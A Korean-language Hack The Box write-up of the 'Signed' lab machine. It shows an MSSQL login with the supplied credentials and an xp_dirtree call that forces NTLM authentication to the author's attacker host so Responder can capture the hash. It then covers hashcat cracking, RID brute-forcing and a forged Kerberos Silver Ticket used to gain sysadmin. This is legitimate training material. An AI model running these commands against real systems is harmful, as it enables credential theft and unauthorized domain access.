Signed

meowyeok

HTB|Jul 24, 2026|Last edited: Jul 24, 2026|
 
notion image
 
MSSQL service: ( scott / Sm230#C5NatH )
 

Reconnaissance

nmap -sV 10.129.242.173
notion image
  • 일단 기본적인 스캔으로는 1433 MSSQL 서비스만 보인다.
 
impacket-mssqlclient signed.htb/scott:Sm230#C5NatH@10.129.242.173
notion image
  • 기본으로 주어진 scott 계정으로 로그인에 성공하였다.
  • 그런데 DB내에 공격 표면으로 쓰일만한게 보이지 않아서 저번 Escape 발표에서 들었던 NTLM relay attack을 적용해보았다.

Exploitation

sudo responder -I tun0 -v
notion image
  • 내 칼리서버에서 responder를 리스닝 상태로 먼저 열어 놓는다.
 
EXEC master..xp_dirtree '\\10.10.14.67\share', 1, 1;
notion image
notion image
  • 이후에 접속했던 db에서 내 칼리서버를 타겟으로 위의 명령어를 실행하면 내 칼리서버에 NTLM 해시값을 탈취할 수 있다.
  • xp_dirtree : 먼저 이 명령어는 지정된 경로의 폴더구조를 보여주는 기능의 명령어이다.
  • 그럼 해당 명령어는 SQL서버가 실행되고 있는 명의의 권한으로 타겟으로 정한 서버의 폴더구조를 탐색하기 위해 로그인시도를 하다가 중간에서 해시가 탈취되는 것이다.
 
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
notion image
  • purPLE9795!@ 이라는 값으로 크랙에 성공했다!
 
impacket-mssqlclient 'signed.htb/mssqlsvc:purPLE9795!@'@10.129.242.173 -windows-auth
notion image
  • 이번엔 mssqlsvc라는 계정으로 접근하였다
  • 하지만 이번에도 접근한 db 내부에서 관리자 권한은 물론이고 다른 큰 단서를 찾지 못하였다.
  • 이 이후로는 도저히 진전이 없어서 라이트업을 보며 풀어보았다.
 
Silver Ticket Attack
  • AD환경에서의 Kerberos 인증에서 발생하는 취약점이다.
  • 공격자가 도메인 컨트롤러의 재인증 없이 특정 서비스에 접근하기 위해 Kerberos 서비스 티켓(TGS)을 위조하는 악용한다.
  • 도메인 전체의 제어권을 부여하는 Golden Ticket과 다르게 특정 서비스계정을 악용해 제어권을 획득할 수 있다.
    • Attack Type
      Scope of Access
      Targeted Credential
      Persistence
      Golden Ticket
      Full domain control
      KRBTGT account hash
      Long-term
      Silver Ticket
      Targeted service access
      Service account hash
      Limited but stealthy
      Diamond Ticket
      Reuse of legitimate TGTs
      Extracted TGT from memory
      Short-term
 
nxc mssql 10.129.242.173 -u scott -p 'Sm230#C5NatH' --local-auth --rid-brute
notion image
  • silver ticket 공격에 필요한 도메인 내의 user들의 정보를 모아둔다.
 
python3 -c 'import hashlib; print(hashlib.new("md4", "purPLE9795!@".encode("utf-16le")).hexdigest())'
  • ef699384c3285c54128a3ee1ddb1a0cc
  • mssqlsvc계정의 ntlm해시값을 얻어준다.
 
SELECT SUSER_SID('SIGNED\Administrator');
notion image
  • mssql내에서 SUSER_SID 명령어를 통해 도메인 유저의 SID값을 얻어낼 수 있다.
 
  • 이제 위와 같이 각각 필요한 값들을 입력해서 위조 ticket을 생성할 수 있다.
  • RID값들은 nxc mssql에서 얻어낸 각 유저들의 번호이다.
  • DOMSID값은 다음 코드로 얻어낼 수 있다.
    • Signed/Administrator의 sid값으로 Domain sid값을 뽑아내는 코드이다.
 
notion image
  • 먼저 Domain Users의 RID로 로그인에 성공했다!
  • 하지만 여전히 진행이 안되었다.

Privilege Escalation

notion image
notion image
  • SIGNED/IT의 계정의 RID(1105)로 접속하니 sysadmin의 권한이 있어서 성공적으로 user flag와 root flag 모두 획득 할 수 있었다!!
 
Loading...